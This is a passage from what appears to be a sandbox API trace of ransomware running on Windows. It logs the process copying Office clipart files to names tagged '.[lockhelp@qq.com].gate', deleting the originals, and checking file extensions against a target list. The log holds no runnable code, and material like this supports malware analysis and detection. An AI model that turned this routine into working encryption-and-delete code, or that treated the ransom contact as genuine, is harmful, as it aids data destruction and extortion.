Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0292.309] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.309] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0292.310] GetLastError () returned 0x0 [0292.310] ReadFile (in: hFile=0x4d4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0xb10, lpOverlapped=0x0) returned 1 [0292.387] WriteFile (in: hFile=0x4f4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xb20, lpOverlapped=0x0) returned 1 [0292.389] ReadFile (in: hFile=0x4d4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0292.389] WriteFile (in: hFile=0x4f4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0292.389] SetEndOfFile (hFile=0x4f4) returned 1 [0292.390] CloseHandle (hObject=0x4f4) returned 1 [0292.390] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.390] SetEndOfFile (hFile=0x4d4) returned 1 [0292.393] CloseHandle (hObject=0x4d4) returned 1 [0292.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0292.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 1 [0292.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0292.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0292.394] lstrlenW (lpString=".doc") returned 4 [0292.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.394] lstrlenW (lpString=".docx") returned 5 [0292.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.394] lstrlenW (lpString=".pdf") returned 4 [0292.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.394] lstrlenW (lpString=".xls") returned 4 [0292.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.394] lstrlenW (lpString=".xlsx") returned 5 [0292.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.394] lstrlenW (lpString=".ppt") returned 4 [0292.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0292.394] lstrlenW (lpString=".zip") returned 4 [0292.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.394] lstrlenW (lpString=".rar") returned 4 [0292.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.394] lstrlenW (lpString=".bz2") returned 4 [0292.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.395] lstrlenW (lpString=".7z") returned 3 [0292.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0292.395] lstrlenW (lpString=".dbf") returned 4 [0292.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0292.395] lstrlenW (lpString=".1cd") returned 4 [0292.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0292.395] lstrlenW (lpString=".jpg") returned 4 [0292.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.443] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=792) returned 1 [0292.443] CloseHandle (hObject=0x4f4) returned 1 [0292.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x220 [0292.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0292.444] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.444] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0292.444] GetLastError () returned 0x0 [0292.444] ReadFile (in: hFile=0x4f4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x318, lpOverlapped=0x0) returned 1 [0292.483] WriteFile (in: hFile=0x510, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x320, lpOverlapped=0x0) returned 1 [0292.484] ReadFile (in: hFile=0x4f4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0292.484] WriteFile (in: hFile=0x510, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0292.484] SetEndOfFile (hFile=0x510) returned 1 [0292.484] CloseHandle (hObject=0x510) returned 1 [0292.485] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.485] SetEndOfFile (hFile=0x4f4) returned 1 [0292.487] CloseHandle (hObject=0x4f4) returned 1 [0292.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0292.588] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 1 [0292.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0292.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0292.589] lstrlenW (lpString=".doc") returned 4 [0292.589] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.589] lstrlenW (lpString=".docx") returned 5 [0292.589] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.589] lstrlenW (lpString=".pdf") returned 4 [0292.589] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.589] lstrlenW (lpString=".xls") returned 4 [0292.589] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.589] lstrlenW (lpString=".xlsx") returned 5 [0292.589] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.589] lstrlenW (lpString=".ppt") returned 4 [0292.589] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0292.589] lstrlenW (lpString=".zip") returned 4 [0292.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.589] lstrlenW (lpString=".rar") returned 4 [0292.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.589] lstrlenW (lpString=".bz2") returned 4 [0292.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.589] lstrlenW (lpString=".7z") returned 3 [0292.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0292.589] lstrlenW (lpString=".dbf") returned 4 [0292.590] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0292.590] lstrlenW (lpString=".1cd") returned 4 [0292.590] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0292.590] lstrlenW (lpString=".jpg") returned 4 [0292.590] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.590] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=712) returned 1 [0292.591] CloseHandle (hObject=0x514) returned 1 [0292.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x220 [0292.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0292.591] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.591] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0292.592] GetLastError () returned 0x0 [0292.592] ReadFile (in: hFile=0x514, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x2c8, lpOverlapped=0x0) returned 1 [0292.593] WriteFile (in: hFile=0x518, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d0, lpOverlapped=0x0) returned 1 [0292.593] ReadFile (in: hFile=0x514, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0292.593] WriteFile (in: hFile=0x518, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0292.593] SetEndOfFile (hFile=0x518) returned 1 [0292.594] CloseHandle (hObject=0x518) returned 1 [0292.594] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.594] SetEndOfFile (hFile=0x514) returned 1 [0292.597] CloseHandle (hObject=0x514) returned 1 [0292.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0292.597] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 1 [0292.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0292.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0292.598] lstrlenW (lpString=".doc") returned 4 [0292.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.598] lstrlenW (lpString=".docx") returned 5 [0292.598] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.598] lstrlenW (lpString=".pdf") returned 4 [0292.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.598] lstrlenW (lpString=".xls") returned 4 [0292.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.598] lstrlenW (lpString=".xlsx") returned 5 [0292.598] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.598] lstrlenW (lpString=".ppt") returned 4 [0292.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0292.598] lstrlenW (lpString=".zip") returned 4 [0292.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.598] lstrlenW (lpString=".rar") returned 4 [0292.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.598] lstrlenW (lpString=".bz2") returned 4 [0292.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.598] lstrlenW (lpString=".7z") returned 3 [0292.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0292.599] lstrlenW (lpString=".dbf") returned 4 [0292.599] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0292.599] lstrlenW (lpString=".1cd") returned 4 [0292.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0292.599] lstrlenW (lpString=".jpg") returned 4 [0292.599] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.599] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=1932) returned 1 [0292.599] CloseHandle (hObject=0x514) returned 1 [0292.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x220 [0292.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0292.600] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.600] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0292.600] GetLastError () returned 0x0 [0292.600] ReadFile (in: hFile=0x514, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x78c, lpOverlapped=0x0) returned 1 [0292.712] WriteFile (in: hFile=0x518, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x790, lpOverlapped=0x0) returned 1 [0292.713] ReadFile (in: hFile=0x514, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0292.713] WriteFile (in: hFile=0x518, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0292.713] SetEndOfFile (hFile=0x518) returned 1 [0292.880] CloseHandle (hObject=0x518) returned 1 [0292.881] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.881] SetEndOfFile (hFile=0x514) returned 1 [0292.883] CloseHandle (hObject=0x514) returned 1 [0292.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0292.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 1 [0292.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0292.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0292.884] lstrlenW (lpString=".doc") returned 4 [0292.884] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.885] lstrlenW (lpString=".docx") returned 5 [0292.885] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0292.885] lstrlenW (lpString=".pdf") returned 4 [0292.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.885] lstrlenW (lpString=".xls") returned 4 [0292.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.885] lstrlenW (lpString=".xlsx") returned 5 [0292.885] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0292.885] lstrlenW (lpString=".ppt") returned 4 [0292.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0292.885] lstrlenW (lpString=".zip") returned 4 [0292.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.885] lstrlenW (lpString=".rar") returned 4 [0292.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.885] lstrlenW (lpString=".bz2") returned 4 [0292.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.885] lstrlenW (lpString=".7z") returned 3 [0292.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0292.885] lstrlenW (lpString=".dbf") returned 4 [0292.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0292.885] lstrlenW (lpString=".1cd") returned 4 [0292.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0292.885] lstrlenW (lpString=".jpg") returned 4 [0292.885] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.886] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=2226) returned 1 [0292.886] CloseHandle (hObject=0x514) returned 1 [0292.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x220 [0292.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0292.886] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.887] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0292.887] GetLastError () returned 0x0 [0292.887] ReadFile (in: hFile=0x514, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x8b2, lpOverlapped=0x0) returned 1 [0292.987] WriteFile (in: hFile=0x518, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x8c0, lpOverlapped=0x0) returned 1 [0292.987] ReadFile (in: hFile=0x514, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0292.987] WriteFile (in: hFile=0x518, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0292.988] SetEndOfFile (hFile=0x518) returned 1 [0292.988] CloseHandle (hObject=0x518) returned 1 [0292.988] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.988] SetEndOfFile (hFile=0x514) returned 1 [0292.990] CloseHandle (hObject=0x514) returned 1 [0292.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[lockhelp@qq.com].gate", 